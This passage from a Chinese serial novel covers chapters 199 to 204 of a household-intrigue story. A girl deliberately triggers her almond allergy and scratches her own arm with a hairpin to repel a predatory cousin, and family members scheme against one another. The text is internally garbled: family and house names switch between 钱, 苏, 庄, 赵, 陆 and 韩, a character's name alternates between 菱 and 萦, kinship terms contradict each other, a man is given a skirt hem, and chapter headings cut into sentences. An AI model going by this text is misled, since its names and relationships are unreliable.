两人都恨不得离钱玉明远远的,却又不得不强撑着笑脸,应付这位“贵客”。 钱玉明心里跟明镜似的,他能有今天这般花天酒地的日子,全靠这位在庄家当家做主的姑母撑腰。 要不然,凭他那点本事,早就被人打断腿扔到大街上了。 他也明白,这些年赵家没少往庄家送银子。 那可都是白花花的银子,像流水一样淌进了庄家的门。 都是为了给他铺路,让他在京城里能横着走。 他今日来,眼下乌青一片,脸色也透着不正常的苍白,脚步虚浮,身子骨都像是被掏空了。 一看就是昨晚又没干好事,指不定又在哪家青楼楚馆鬼混了一夜。 钱玉明嘴上甜得像灌了蜜,一边“姑母”“姑母”叫个不停,一边眼睛却不安分地往钱雅芝身后瞟。 滴溜溜地转,像是在寻摸什么值钱的宝贝似的: “姑母,怎么不见玥玥表妹? 第一百九十九章 咱俩已经失联好多年,怪想的。” 他说着,还搓了搓手,装出一副不好意思的样子,小心翼翼地试探着。 其实,他哪能不知道晏玥玥生得漂亮? 打从晏玥玥还是个奶娃娃,裹在襁褓里的时候,他那双贼眼就没少往人家身上瞟。 那时候,晏玥玥就跟个玉雕的娃娃似的,粉嫩嫩,水灵灵,一看就是个美人胚子。 如今,更是听京城里那些狐朋狗友们吹嘘,说晏玥玥出落得越发标致,跟天仙下凡似的,不知道迷倒了多少公子哥儿。 可惜,这些年,他也就是听听,过过干瘾。 每次来苏府,晏玥玥不是“恰好”出门会友了,就是“恰好”身体抱恙。 反正总有各种各样的借口,让他见不着。 钱玉明心里清楚得很,钱雅芝这是防着他呢,把他当贼一样防着。 生怕他对晏玥玥起了什么歪心思,坏了庄家的名声。 钱玉明撇了撇嘴,心想,我能有什么歪心思?我不就是想…… 但他可不敢把心里话说出来,只能在心里想想。 他又不傻,知道赵家再有钱,在这京城里,也得夹着尾巴做人。 没庄家和燕王这棵大树罩着,赵家早就被人连根拔起了。 晏玥玥再美,那也是庄家捧在手心里的宝贝。 他也就是只敢远远地看上两眼,过过眼瘾罢了,哪敢真有什么非分之想? 钱雅芝一眼就看穿了钱玉明那点花花肠子。 她眼中闪过一丝寒芒,藏在袖子里的手,不自觉地紧握成拳,指节都有些泛白。 面上却不动声色,依旧笑得跟朵花似的。 只是那笑容,怎么看都透着几分虚假和敷衍,像是戴了张面具: “玥玥前几日陪太后礼佛,在寺里多住了几日,沾了些寒气,这会儿正头疼脑热呢。大夫说是冲撞了什么,开了几副药,正在屋里静养。” 她声音温温柔柔的,听不出什么情绪,却带着几分不容置疑。 钱玉明心里“呸”了一声,暗道:又来这套! 每次都是这一套说辞,哄鬼呢! 他这位姑母,找借口也该换个新鲜的,来来回回就这么几句,真当他是傻子不成? 钱玉明心里不痛快,却不敢表露出来。 只能在心里把钱雅芝从头到脚骂了个遍。 他眼珠子滴溜溜一转,又换了副笑脸,换了个目标: “那阿清表妹呢?听说她从临川回来了,作为她的堂兄,怎么也该见见,表示表示。” “您看,我今儿来,还特意给她备了份见面礼,想给她一个惊喜呢。” 钱玉明笑得更谄媚了,只是那笑容,怎么看都带着几分不怀好意。 像一只黄鼠狼,正对着一只小鸡崽子流口水。 他这话一出口,身后的罗氏和赵芊芊母女俩,立马不着痕迹地往旁边挪了挪。 仿佛被什么脏东西给熏着了似的,赶紧躲开,生怕沾上什么晦气。 钱雅芝脸色不变,依旧是那副波澜不惊的样子,只是眼神沉了沉,眸光深处,闪过一丝冰冷的寒意。 像是冬日里结了冰的湖面,冷得能冻死个人: “阿清身子弱,一直在外头静养,这事儿你不知道?” 钱雅芝这话,听着像是在问,实际上,却像是在警告。 警告钱玉明别打晏清澜的主意。 钱玉明哪会听不出来? 不过他还真有点儿被冤枉了。 他平日里除了吃喝玩乐、眠花宿柳,对别的事儿一概不上心。 别说晏清澜了,就是天王老子来了,他也不一定认识。 旁人跟他提晏清澜,他除了知道这位表妹长得像个狐狸精,勾人得很,别的也听不进去。 只知道这位表妹美得冒泡,其他的,一概不知。 他只是好奇,钱雅芝怎么就不让晏清澜出来见客? 莫非,晏清澜真如传闻中那般,美得不可方物,怕被人给拐跑了? 如今听钱雅芝这么一说,他那颗不安分的心,又开始蠢蠢欲动起来。 “姑母,您这话说的,外头再好,哪有家里好?您还是把阿清表妹接回来吧,也好有个照应。” 他脸上又堆满了虚伪的笑,只是那笑容,怎么看都让人觉得不舒服,像是一条吐着信子的毒蛇。 他心里盘算着,在苏府,有钱雅芝和庄家的人看着,他总归是不方便动手的。 就算见到了晏清澜,也只能干看着,不敢做什么过分的事。 可转念一想,要是晏清澜孤身一人在外头,那岂不是任由他为所欲为? 到时候,他还不是想怎么样就怎么样? 谁还能拦得住他? 于是话锋一转,立刻又换了副说辞,腆着脸道: “要不这样,姑母您告诉我阿清表妹住在哪儿,我亲自去瞧瞧她。怎么说我也是她表哥,关心关心她也是应该的。” 钱玉明笑得眼睛都眯成了一条缝,语气里带着几分急切和迫不及待。 钱雅芝心里冷笑,这个钱玉明,还真是色胆包天,贼心不死。 她懒得跟钱玉明废话,直接把陆家搬了出来: “阿清那孩子命好,在临川的时候,被厉玉厉将军认作了义女,这会儿,就住在韩府呢。” 她故意把“厉玉”和“韩府”几个字咬得很重,像是在提醒钱玉明什么。 钱玉明脸色一僵,脸上的笑容瞬间凝固,像是被人当头泼了一盆冷水。 他做梦也没想到,那个病秧子表妹,竟然走了狗屎运,攀上了陆家这棵参天大树! 厉玉,那可是个杀人不眨眼的活阎王,据说连燕王都要忌惮三分。 这下,钱玉明彻底傻眼了,像是被人点了穴道似的,僵在了那里。 钱雅芝轻飘飘地瞥了他一眼,朱唇轻启,声音不高不低,却带着几分不容置疑的威严: “你要是真想见她,就自个儿给韩府递帖子去,看看陆家愿不愿意见你。” 她这话,明摆着是在告诉钱玉明,别痴心妄想了,死了这条心吧。 就凭他,连陆家的门都进不去,还想见晏清澜?做梦去吧! 钱雅芝对晏清澜可没什么母女情分。 她之所以警告钱玉明,一来是瞧不上他,二来也是因为晏清澜是她身上掉下来的一块肉。 就算她再怎么不喜欢这个女儿,也不希望她被钱玉明这种人给糟蹋了。 更重要的是,晏清澜对她还有利用价值,她还指望着晏清澜给她带来更多的好处呢。 她可不想因为钱玉明这个蠢货,坏了她的大计。 一直没吭声的赵芊芊,见钱玉明这般不知死活,色心不改,实在忍不住了。 她翻了个白眼,没好气地“提醒”道: “我说二哥,你是不是忘了?清表姐可不是好惹的。你忘了上次……” 她故意拉长了声音,话说到一半,却又戛然而止,留下一个意味深长的眼神。 第二百章 钱玉明一听这话,顿时脸色大变,像是被人踩了尾巴的猫一样,差点没从椅子上跳起来。 他像是想起了什么可怕的事情,浑身一哆嗦,额头上都冒出了冷汗。 “上次”这两个字,对他来说,简直就是一场噩梦。 他怎么会忘? 那天,他刚从外头花天酒地回来,正巧碰上赵芊芊风尘仆仆地从临川赶来。 那时的赵芊芊,穿着一身不起眼的粗布衣裳,头发也只是简单地挽了个发髻,看起来就像个乡下来的野丫头。 钱玉明哪知道这是他失散多年的堂妹? 见赵芊芊虽然穿着朴素,却难掩天生丽质,明眸皓齿,肌肤胜雪,身段窈窕,顿时色心大起。 他以为赵芊芊是来投奔钱府的穷亲戚,便起了歹心,想占点便宜。 谁知,他刚一靠近,还没来得及动手,就被赵芊芊一个过肩摔,狠狠地摔在了地上。 紧接着,就是一阵拳打脚踢。 赵芊芊下手可没轻没重的,每一拳都结结实实地打在了他的身上。 把他打得鼻青脸肿,满地找牙,肋骨都差点断了几根。 要不是罗氏及时赶到,哭着喊着求情,他这条小命怕是就要交代在赵芊芊手里了。 钱玉明现在想起来,还觉得浑身疼得厉害,像是骨头缝里都在冒凉气。 这事属实让他震惊,看起来娇娇弱弱的赵芊芊,竟然这么厉害。 更没想到,晏清澜竟然比赵芊芊还要厉害! 这简直就是个母夜叉啊! 钱玉明想到这里,顿时吓得魂飞魄散,再也不敢提见晏清澜的事了。 钱雅芝见钱玉明这副怂样,心里更是鄙夷。 她冷哼一声,懒得再搭理他。 转头吩咐身边的丫鬟薇桂: “你去看看三姑娘,就说我说的,让她过来陪表姑娘说说话,省得她一个人闷得慌。” 她声音淡淡的,听不出什么情绪,仿佛只是随口吩咐一句。 薇桂应了一声“是”,便转身退了出去。赵芊芊猛地抬眼,眼神如淬了毒的刀子,直直剜向钱雅芝。 罗氏也眯起眼,眼底精光闪烁,意味深长地打量着这位平日里端庄贤淑的大嫂。 晏清萦生得那叫一个娇柔婉约,身段婀娜,立在那里,仿佛风一吹就要倒的弱柳,是那等最惹男人怜惜的娇花。偏偏,生了张过分招摇的脸。 钱玉明这混账东西,平日里就不是个东西,仗着家世,在这汴京城中欺男霸女,坏事做尽,也不知糟蹋了多少好人家的姑娘。 钱雅芝这会儿突然让人去叫晏清萦过来,安的什么心?打的什么鬼主意?她心里跟明镜似的。 思及此,赵芊芊几步走到传话的丫鬟身前,猛地转头看向钱雅芝,语气不善,话里都带着刺: “萦姐姐身子弱,平日里最是受不得风,这大冷的天,让我去看看她的情况。” 她顿了顿,又补了一句,话里有话,“正好,我俩也有好些日子没见,我可攒了一肚子体己话要跟她说呢。” 赵芊芊虽说平日里并不喜欢晏清萦那副娇滴滴,弱不禁风的做派,但眼下,她也绝不至于眼睁睁看着钱雅芝这般算计她。毕竟,那可是个活生生的人! 罗氏也立马帮腔,语气听不出喜怒: “是啊,大嫂,萦丫头身子骨弱,这来来回回的,万一再着了凉,可怎么好?还是让芊芊去看她就是了,也省得她来回折腾。” 罗氏这人,虽说不上多慈悲心肠,甚至有些小心眼。 但晏清萦好歹也在她眼皮子底下养了四年,从个黄毛小丫头长成如今这亭亭玉立的模样,她心里,多少还是有几分不忍的。更何况,晏清萦这张脸,实在太惹眼。 这母女俩都清楚,若是让钱玉明见了晏清萦,晏清萦的好名声就算是毁了。 晏老夫人上了年纪,整日吃斋念佛,不理俗事。晏明远又不在汴京。这苏府,如今是钱雅芝当家做主。 钱玉明是什么人?在女人堆里摸爬滚打长大的,一眼就瞧出了这母女俩的心思。 他不紧不慢地扫了这母女俩一眼,嘴角勾起一抹意味不明的笑。 他哪能不知道这俩人是防着他见晏清萦呢? 可越是这样,他偏偏就越是好奇。倒要看看,究竟是怎样一个天仙一样的美人,能让这母女俩这般藏着掖着,护着宝贝似的,生怕被他瞧了去。 钱玉明慢吞吞地从椅子上站起身。明明眼下一片乌青,脚步虚浮,却偏要装出一副温文尔雅的模样,挤出一个自以为风流倜傥的笑来,只是这笑配上他的尊容,怎么看怎么别扭: “左右我也无事,不如就跟你们一道去看看阿萦表妹。说起来,我也有好些日子没见着她了,心里头也惦记得很。” 他这话,与其说是关心,倒不如说是调戏。 晏清萦的娘亲当年也是远近闻名的美人,钱玉明心里清楚得很。他眯了眯眼,目光闪烁,盘算着晏清萦会长成什么模样。 钱雅芝淡淡地瞥了这三人一眼,眼底飞快地闪过一丝轻蔑。 罗氏和赵芊芊那点小心思,她岂会看不出来?只是懒得拆穿罢了。 她脸上堆起笑,语气听起来倒是十分温和: “既然如此,你们兄妹俩便一道去吧。左右萦丫头平日里性子闷,跟玥玥也没什么话说。” 她语气一顿,又添了一句,“你们去看看那妹子,顺便陪她唠唠嗑,也省得她一个人在屋里无聊。” 钱雅芝话都说到这份上了,赵芊芊再怎么恼恨这女人心肠歹毒,表面功夫也得做足,总不能当面跟她撕破脸。 她只好强忍着,扯出一个比哭还难看的笑,假笑着开口道: “行啊,既然母亲都这么说了,那自然是一起去最好了。” 赵芊芊故意把“母亲”两个字咬得极重,又补了一句,语气阴阳怪气,“本想和萦姐姐说几句体己话,这下也说不成了。” 赵芊芊这炮仗脾气,说炸就炸。她平日里最看不惯钱雅芝这副假惺惺的模样,眼下逮着机会,少不得要阴阳怪气几句。 钱雅芝懒得跟她计较。 一路上,赵芊芊自然没给钱玉明好脸色。 钱玉明满脑子都是晏清萦,也懒得理她,只催促着快些走。 刚走到晏清萦住的院子,还没进门呢,赵芊芊就扯着嗓子喊开了: “阿萦姐姐!你在屋里吗?我和二哥过来探望你!” 她这一嗓子,整个院子都听得清清楚楚,把那些个丫鬟婆子吓得不轻,一个个缩头缩脑,跟受惊的鹌鹑似的,赶紧派人去通知晏清萦。 赵芊芊直接把钱玉明晾在一边,自顾自地往里闯。 她还一把拽住个小丫鬟,凶巴巴地问:“你们姑娘在哪儿呢? 第二百零一章 快带我去!” 赵芊芊脚下生风,几步就把钱玉明甩在了身后。 晏清萦正坐在窗边,手里拿着本书,看得出神。 突然,外头传来一阵喧闹声,紧接着,赵芊芊就风风火火地冲了进来。 晏清萦吓了一跳,手里的书差点掉在地上。 她以为赵芊芊是来找麻烦的,下意识地往后缩了缩,声音也有些发抖:“芊芊,你……你怎么来了?” 赵芊芊从袖子里掏出一包点心,不由分说地塞进晏清萦手里,没好气地说:“快拿着!这是我在花厅里偷偷拿的,你赶紧吃几块!” 晏清萦低头一看,是几块精致的糕点,还带着淡淡的香气。 可她却像是见了鬼似的,脸色刷的一下就白了,连连摆手:“不不不,我不吃,我……” “叫你吃你就吃!哪儿那么多废话!”赵芊芊瞪了她一眼,语气凶狠,“钱玉明那个混蛋马上就要过来了,你难道真想被他给……” 她话没说完,但意思已经很明显了。 晏清萦的脸色更白了,她当然知道钱玉明是什么人。 平日里,她躲他还来不及,怎么会主动凑上去? 可眼下,钱玉明竟然要来她的院子,这……这可如何是好? 她心里慌得厉害,六神无主,完全不知道该怎么办。 赵芊芊见她这副模样,气不打一处来:“快吃啊!再磨蹭一会儿,黄花菜都凉了!” 晏清萦这才反应过来,连忙拿起一块糕点,塞进嘴里。 她对这糕点里的杏仁过敏,这事儿,还得从几年前说起。 那时候,苏府里的人还不待见她,有什么好东西,自然轮不到她。 晏玥玥喜欢吃杏仁酥,可偏偏晏清萦却不能碰。 有一回,她在花园里玩,晏玥玥故意把一块杏仁酥扔给她,她不知情,吃了一口,结果就起了疹子。 她被晏玥玥好一通嘲笑,心里别提多委屈了。 如今,她身子才起了疹子,脸上、脖子上、手臂上,到处都是红彤彤的一片,看着就吓人。 她情不自禁地抓挠起来,却被赵芊芊一把拍开: “别挠!你想留疤啊?” 晏清萦摇摇头,明白这点还远远不足。 她一狠心,从头上拔下一根簪子,在自个胳膊上划了几下,划出几道血痕来。 这簪子并不锋利,划出来的伤口也不深,过几天就会好的。 她心里明白,自己不能破相,却也得让钱玉明瞧见自己这幅“惨状”。 赵芊芊默默观察着,只觉得一阵阵心惊肉跳。 平日里,她虽然不喜欢晏清萦这娇滴滴的性子,可眼下,却也忍不住有些同情她。 摊上这么个嫡母,又生了这么一张脸,真不知是福是祸。 她刚想说几句安慰的话,钱玉明却晃晃悠悠地走了进来。 他原本以为会见到一个娇滴滴的美人,谁知,却看到一个满脸红疹,胳膊上还带着血痕的“怪物”,顿时吓得倒退了好几步。钱玉明一个趔趄,屁股还没沾地,又“噌”地一下弹起来,像是被火烧了似的。 他连滚带爬地往后缩,慌乱中,手“啪”地一声撑在桌角,这才勉强稳住身形。 眼睛却死死盯着地面,仿佛那青石板上开出了花,再不敢往晏清萦那处瞟上一眼。 晏清萦眼下这副披头散发的模样,活脱脱像个索命厉鬼。 他呼吸一窒,猛然想起一年前,死在后院的那个小妾…… 也是这副模样,人不人,鬼不鬼,最后被草席一裹,扔去了乱葬岗。 钱玉明心虚得紧,额角的冷汗“唰”地就下来了,连带着声音都走了调,“菱、菱表妹……你这是……怎么了?” 赵芊芊夸张地抹了把眼泪,飞快地眨着眼,将眼底的算计藏了去。 惊恐、茫然、担忧……种种情绪,在她脸上杂糅,最终汇成一句带着哭腔的问话: “我……我不知道啊!人刚到这儿,萦姐姐……竟已经虚弱至此……” 她一边说,一边偷偷拿眼角的余光去瞥晏清萦,生怕她露馅。 晏清萦无力地摇了摇头,似乎连支撑身体的力气都没有了。 她颤抖着手,端起手边已经半凉的茶水,仰头“咕咚咕咚”灌了下去。 那茶水带着一丝苦涩,顺着喉咙一路往下,却怎么也浇不灭那股子邪火。 就像是有一团棉絮,又像是有一把细针,卡在嗓子眼,上不去,下不来,痒得她恨不得伸手进去掏个干净。 好容易,这股子要命的痒意才稍稍退却了些。 她这才哑着嗓子,虚弱地开口: “许是……夏日毒虫多,被什么咬了……不碍事的……” 赵芊芊立刻接话,语气那叫一个急切: “什么毒虫!萦姐姐你可别吓我!这分明是吃错了东西!” 她说着,猛地扭头,狠狠瞪了一眼旁边吓傻了的丫鬟,厉声喝道: “一个个杵着当木桩呢?!没瞧见你们姑娘难受成这样?赶紧找个郎中来!” 赵芊芊在苏府,俨然一副当家做主的模样。 她指着一个穿绿衣的丫鬟,颐指气使: “你!对,就是你!赶紧去老夫人那儿问问,可有什么对症的药!” 又指向另一个穿红衣的: “还有你!愣着干什么?去告诉夫人,听闻菱姑娘身子不适,病得厉害!” 赵芊芊平日里的骄纵跋扈,此刻展现得淋漓尽致。 在这院子里,谁敢忤逆她半分? 庄、赵两家,一荣俱荣,一损俱损。 她的话,谁敢不听? 钱玉明哪还有心思风花雪月? 他巴不得立刻离开这是非之地。 眼见着丫鬟们一个个吓得手足无措,他忙不迭地开口: “我、我也去帮忙……通知惠兰……” 说完,一溜烟地跑了,那速度,比兔子还快。 至于晏清萦的身段?气质? 早被他抛到爪哇国去了! 眼下,保命要紧! 晏清萦这突如其来的变故,如同一块巨石投入平静的湖面,在苏府激起千层浪。 钱雅芝匆匆赶来,待看清晏清萦的模样,也是倒抽了一口凉气。 只见晏清萦满身红疹,原本清秀的脸肿得厉害,脖子上、手臂上,全是抓挠出的血痕,瞧着就让人心里发毛。 钱雅芝强压下心头的不适,开口问道:“这是怎么回事?大夫呢?请大夫来看过了吗?” 一旁的丫鬟连忙回答:“已经派人去请了,只是……” “只是什么?吞吞吐吐的!”钱雅芝厉声打断。 丫鬟吓得一哆嗦,连忙说道:“只是……大夫还没来,芊芊姑娘已经先来过了……” 钱雅芝眉头一皱,她与赵芊芊向来不对付。 “她来做什么?” “芊芊姑娘说……说菱姑娘像是吃错了东西… 第二百零二章 …”丫鬟低着头,声音越来越小。 钱雅芝冷笑一声。 她就知道,赵芊芊那丫头,一肚子坏水! “吃错了东西?我看是有人故意使坏!”钱雅芝的目光,冷冷地扫过晏清萦。 “我问你,”钱雅芝指着晏清萦,“你今日,可吃了什么不该吃的东西?” 晏清萦垂着眼,轻轻摇了摇头,声音虚弱,却带着一丝坚定: “没有。我今日……只吃了些寻常的点心,并无特别之处。” 她当然不会说出杏仁酥的事。 别说她没吃,就算真的吃了,她也不会承认。 钱雅芝眼神闪烁。 “当真?” 晏清萦依旧摇头:“真的,夫人若是不信,大可查验。” 钱雅芝冷哼一声,心中已有了计较。 这时,晏老夫人也拄着拐杖,在众人的搀扶下,缓缓而来。 “都围在这里做什么?”晏老夫人声音不大,却自带一股威严。 钱雅芝连忙上前,将事情的经过简单说了一遍。 晏老夫人听罢,将视线落在晏清萦身上,眼神复杂。 她叹了口气,缓缓说道:“我看,这事儿怕是没那么简单……” “前些日子,府里才出了那么些事,如今萦丫头又……我看,八成是冲撞了什么不干净的东西!” 钱雅芝一听,脸色顿时变了。 她还以为晏老夫人要借题发挥,却没想到,她竟然会这么说。 晏老夫人顿了顿,继续说道: “这样吧,惠兰,你去安排一下,过几日,请个道士来府里做场法事,驱驱邪祟。” 钱雅芝连忙应下:“是,老夫人,我这就去办。” 她心里暗暗松了口气。 虽说“驱邪”这事听着不吉利,但总好过被人怀疑是自己暗中动了手脚。 晏老夫人又看了看晏清萦,缓缓开口: “萦丫头,你也别太担心。这段时日,你就跟着我,一起吃斋念佛,静静心。” “佛祖会保佑你的。” 晏清萦抬起头,看向晏老夫人,眼中闪过一丝感激。 她知道,晏老夫人这是在变相地保护她。 虽然晏老夫人在府中并无实权,但有她这句话,往后,自己在苏府的日子,也能好过些。 钱雅芝看着这一幕,心中不悦,却也不好说什么。 “行了,都散了吧。”晏老夫人挥了挥手,“萦丫头这里,留几个人伺候着就行。” 众人纷纷散去。 赵芊芊、罗氏和钱玉明,也找了个借口,离开了苏府。 待到人都走后,赵芊芊却又悄悄回到了晏清萦的院子。 她看着躺在床上,一脸病容的晏清萦,语气冷淡: “晏清萦,我可警告你,往后给我小心点!” “钱玉明那个人,不是什么好东西,你可别被他给骗了!” “还有,别以为老夫人护着你,你就可以高枕无忧了。这府里,想让你出事的人,可不止一个!” “你最好给我机灵点,否则,哪天怎么死的都不知道!” 赵芊芊虽与钱雅芝是亲戚,却打心眼里瞧不上她。 晏清萦看着赵芊芊,眼中闪过一丝复杂的情绪。 她张了张嘴,似乎想说什么,最终却只是轻轻地叹了口气。 “赵芊芊,多谢你提醒。我会小心的。” 赵芊芊冷哼一声: “少自作多情,我可不是关心你!” “我只是……不想让钱玉明那种人渣得逞罢了!” 说完,她转身就走,头也不回。“娘,咱能分家吗?” 马车轻微晃荡着,赵芊芊身子前倾,死死抓住罗氏的胳膊,指节泛白,声音压得很低,却透着一股子狠劲儿。 罗氏吓了一跳,忙不迭地往四下里瞅,生怕隔墙有耳,还好,这会儿街上人声嘈杂,倒也不怕被人听了去。 “钱玉明那个王八蛋,我是一天也忍不下去了!” 赵芊芊咬牙切齿,每一个字都像是从牙缝里挤出来的,带着浓浓的恨意。她微微侧过身子,凑近罗氏,声音压得更低了,却像一把磨得飞快的刀子。 “您瞅瞅他干的那些腌臜事,迟早有一天得把全家都给搭进去!” 赵芊芊越说越气,声音都有些发抖,她用力地捶了一下车厢壁,发出“咚”的一声闷响。 “咱家以前在临川,山高皇帝远的,日子过得多舒坦?哪像现在,天天都得跟这些烂人烂事儿打交道!” 她的话语里,满是对过去的怀念,还有对眼下处境的深深厌恶。 突然,她像是想到了什么可怕的事情,猛地打了个寒噤,脸色瞬间变得苍白。 她想起了那些关于钱玉明的流言蜚语,还有那天,钱玉明那张令人作呕的脸,那双色眯眯的眼睛…… 要不是她练过几招,那天就被他给…… 赵芊芊不敢再想下去,她紧紧地闭上眼睛,双手紧紧地攥成拳头,指甲深深地陷进肉里,几乎要掐出血来。 罗氏的脸色也“唰”地一下变得铁青。 她当然记得那天的事。 钱玉明那个畜生,竟然把芊芊当成了…… 罗氏一想到这儿,就气得浑身发抖,恨不得把钱玉明给活剐了!她又惊又怕,但同时,心里也涌起一股庆幸,还好,还好当初让芊芊学了武。 可更让她心寒的,是她那所谓的“好”大哥大嫂。 他们嘴上骂着钱玉明,可话里话外的意思,竟然还怪她没管教好女儿? 罗氏紧紧咬着牙,胸口剧烈地起伏着,一口气憋在心里,差点没把她给憋死。想起这事儿她就来气,恨不得冲回去跟他们大吵一架。 “娘!” 赵芊芊见罗氏半天不吭声,心里急得像热锅上的蚂蚁,她顾不上许多,用力地摇晃着罗氏的胳膊,声音都带了哭腔。 “您该不会还想跟那帮没人性的东西住一块儿吧?” 她一股脑地把这些年憋在心里的话全倒了出来,眼泪都快下来了。 “祖母是什么人,您心里没数吗?” 赵芊芊的声音尖锐起来,带着浓浓的不甘和委屈。 “她眼里只有大房,还有晏玥玥那个小妖精!” 提起钱雅芝,赵芊芊连装都懒得装了,直接翻了个白眼,毫不掩饰自己的厌恶。 “爹爹呢,又是个闷葫芦,祖母压根儿就看不上他!”她撇了撇嘴,语气中充满了无奈和不屑。 “这些年,咱们娘儿俩受了他们多少窝囊气?” 赵芊芊越说越激动,眼泪在眼眶里打转,她感觉自己就像一个快要爆炸的气球,随时都可能撑不住。 “还有钱玉明,他干的那些伤天害理的事儿,两只手都数不过来!” 赵芊芊猛地吸了一口气,像是要把胸腔里的闷气全都吐出来。 “以前有赵家给他撑腰,还有晏玥玥她爹给他兜着,可万一哪天庄家倒了… 第二百零三章 …” 赵芊芊的声音突然低了下去,带着一丝担忧和恐惧。 她顿了顿,深吸一口气,像是在给自己鼓劲。 “那些见不得人的事儿全抖落出来,咱们二房也得跟着玩儿完!” 罗氏听着女儿一声声的控诉,心里也乱成了一锅粥。这些话,像一把把刀子,扎得她心口疼。但她还是强忍着,一把捂住了赵芊芊的嘴,不让她再说下去。 “你疯了!” 她压低声音,语气严厉,眼神中带着警告。 “这种话也是能随便说的?不要命了!” 罗氏顿了顿,稍稍缓和了一下语气,声音更低了,几乎只有她们母女二人才能听见。 “分家的事,急不得,得从长计议。” 她心里飞快地盘算着,眉头紧锁,像是在思考着什么重大的难题。 要分家,也得把二房摘干净,不能让芊芊的名声受损。 再说,晏清澜的态度还不明朗。敌友不分。 得再看看,不能轻举妄动。 无论如何,她都不能跟晏清澜对着干。 一个刚回京城就能名动四方的人,她惹不起。 “还从长计议?要议到什么时候去?” 赵芊芊猛地甩开袖子,焦虑地揉了揉太阳穴,几缕发丝垂落下来,遮住了她的眼睛。 “有这么个‘好哥哥’,我还怎么……” ‘怎么嫁给宋明澜?’ 这话,赵芊芊最终还是没能说出口。像是一块巨石,压得她喘不过气来。 她知道,自己不过是个商户女,跟宋明澜,那是云泥之别。 可她不甘心啊! 这些年,她拼了命地学规矩,努力把自己变成一个合格的大家闺秀,甚至连晏清澜的闲事都不敢管了,可宋明澜呢? 他还是看不见她。 她偷偷打听过,宋明澜最讨厌那些为非作歹、仗势欺人的人。 要是让他知道自己有钱玉明这么个哥哥,怕是更要厌恶她了吧? 赵芊芊越想越难过,眼眶微微泛红。 更不用说,宋明澜身边还有一个晏清澜。人人都说他们只是兄妹,她却总是患得患失,她嫉妒晏清澜,嫉妒得发疯。 赵芊芊烦躁地揉着头发,只觉得胸口闷得发慌,这日子简直没法过了。 罗氏见状,以为她还是为了分家的事不高兴,只得轻声哄着,时机尚未成熟,让她再等等,总会有办法的。 赵芊芊缓缓地低下头,看着自己精心修剪的、涂着浅粉色蔻丹的指甲,长长的睫毛微微颤动,遮住了眼底的失落和不甘,没再说话。 另一边,晏清萦的院子里,静悄悄的。 刚刚喝完药,正准备躺下歇会儿,身上还带着一股淡淡的药草味。突然,贴身丫鬟轻手轻脚地走了进来,在她耳边低语。 “姑娘,二少爷来了。” 晏远舟? 晏清萦秀气的眉毛微微蹙起,如远山般朦胧。他来做什么?难不成又是为了打探她的底细? “请他进来吧。” 晏清萦轻声吩咐道,声音里带着一丝疲惫和无奈。她轻轻地按了按太阳穴,试图缓解头痛。 话音刚落,晏远舟就迈着步子走了进来,裙摆掀起缕缕清香。 他身上的青竹香气更浓了些,清新淡雅,让人精神一振。步履从容,背脊挺直,单从外表看,倒真像个温润如玉的谦谦君子。 “五妹妹,感觉好些了吗?” 晏远舟脸上挂着温和的笑容,恰到好处,不远不近,让人感觉很舒服。 他走到桌边,从袖中取出一个精致的白瓷小瓶,轻轻地放在桌上,动作轻柔,生怕惊扰了她。 “这是我托人从外头寻来的药,对你的病有好处,能让你好得快些。” 晏清萦让丫鬟去倒茶,自己则微微低着头,目光落在自己交叠的双手上,轻声回道: “有劳二哥费心了。”声音轻柔,却带着一丝疏离。 她可不认为晏远舟是真心来看她的,更不相信他会无缘无故地送药,定是有事。 晏清萦微微垂下眼睑,遮住了眼底的警惕和防备。 果不其然,晏远舟话锋一转,像是闲聊一般,语气随意地问道: “五妹妹在临川住了这么多年,那边可有什么趣事?” 他笑眯眯地看着晏清萦,眼神中闪烁着精明的光芒,仿佛能看穿人心。 “说来听听,也让二哥长长见识。” 他来了,就知道他没安好心。 晏清萦心想,该来的总会来,躲是躲不掉的。她暗自深吸一口气,让自己冷静下来。 她缓缓抬起头,看向晏远舟,声音依旧很轻,却透着一丝坚定: “二舅母待我,还算宽厚。” “至于趣事……” 晏清萦顿了顿,似乎在斟酌用词。她轻轻咬了咬下唇,像是有些为难。 “我平日里深居简出,很少出门,外头的事,知道的也不多。实在是……没什么好说的。” 晏远舟静静地听着,目光在晏清萦身上扫过。 他看到了她微微颤抖的睫毛,看到了她紧紧交握的双手,看到了她故作镇定的姿态。 他知道,晏清萦在撒谎。 一个在临川生活了这么多年的人,怎么可能对外界一无所知? 不过,他并不着急。 他有的是耐心,也有的是办法,让晏清萦开口。 他脸上的笑容更深了,语气也更加柔和: “五妹妹不必有顾虑,我只是随便问问,你若是不想说,也没关系。” 他知道,对付晏清萦这种小心谨慎的人,不能逼得太紧,得慢慢来。 他要让她放松警惕,让她心甘情愿地把知道的都说出来。 晏清萦只觉得浑身不自在,像是被一条毒蛇盯上了一般,让她头皮发麻。 她心里叹了口气,有些不甘,却又无可奈何。 她不想任人摆布,可她又有什么办法呢? “二哥说笑了,不是不想说,是真的没什么可说的。” 晏清萦低眉顺眼,声音轻得像蚊子哼哼,几乎让人听不清。 “我平日里除了看看书,就是做做女红,打发时间,日子过得平淡无奇。” “二哥若想听趣事,不如去问四姐姐,”晏清萦说到这里,故意停顿了一下,加重了语气,“她可是‘见多识广’,知道的可比我多多了。” 说到这儿,晏清萦缓缓抬起头,看向晏远舟。 她脸上蒙着面纱,看不清具体的表情,只能看到一双清澈的眼睛。 但正是这层面纱,遮掩了她真实的情绪,让人猜不透她在想什么。晏清萦眼皮都没抬,纤长的手指轻轻拨弄着茶盏的边缘,任由丫鬟将冒着热气的茶水放在手边。 她知道晏远舟今日为何而来。 说是关心,打听临川的风土人情? 呵,不过是想探听晏清澜的消息罢了。 “小妹曾经征战沙场?” 晏远舟果然没碰那茶水。 第二百零四章 他随意地靠在椅背上,语气听不出喜怒。 晏清萦却分明从那双看似温和的眸子里,捕捉到了一丝冷冽,像深秋的霜,寒得让人心底发颤。 “是啊,” 晏清萦放下茶盏,语气平静, “四姐姐可厉害着呢,据陆府千金透露,她在战场上,敌军见了她都得绕道走。” 她说完,状似随意地抬眸,余光快速扫过晏远舟的表情。 晏远舟眼神微微一动,端起茶盏,轻轻吹了吹,没喝。 他放下茶盏,语气中带着一丝探究: “看来四妹妹和厉将军关系匪浅。不然,她一个女子,怎么可能上得了战场?” 晏清萦垂下眼帘,盯着自己交叠的双手,指尖微微用力。 “四姐与陆氏一族,那可不是一般的亲。” 她语气中带着几分真切的羡慕。 